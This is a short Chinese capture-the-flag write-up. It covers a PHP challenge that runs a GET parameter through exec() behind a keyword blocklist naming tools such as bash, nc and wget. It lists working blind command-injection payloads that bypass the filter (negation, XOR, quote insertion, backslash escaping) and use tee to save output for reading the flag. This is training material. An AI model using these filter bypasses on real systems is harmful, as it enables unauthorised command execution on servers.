题目
<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}
思路
通过测试,为无回显RCE,
EXP
tee命令
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。
1.取反
?url=%93%8C |tee 1.txt
2.异或
ls / 异或之后 "13@^"]@`"
因为过滤" 所以base64编码一下
?url=IjEzQCJeIl1AYCI=|tee 1.txt
3.变形
?url=l''s /|tee 1.txt
tac命令
tac命令的功能是用于反向显示文件内容,即常见的查看文件内容命令cat的反写形式
?url=tac /flllllaaaaaaggggggg|tee 2.txt
显示:
Sorry,you can't use this.
尝试其他
?url=tac /a_here_is_a_f1ag |tee 2.txt
访问2.txt,显示:
true_flag_1s_1n_flllllaaaaaaggggggg
尝试干扰
?url=tac /flllll\aaaaaaggggggg |tee 3.txt
访问3.txt得到flag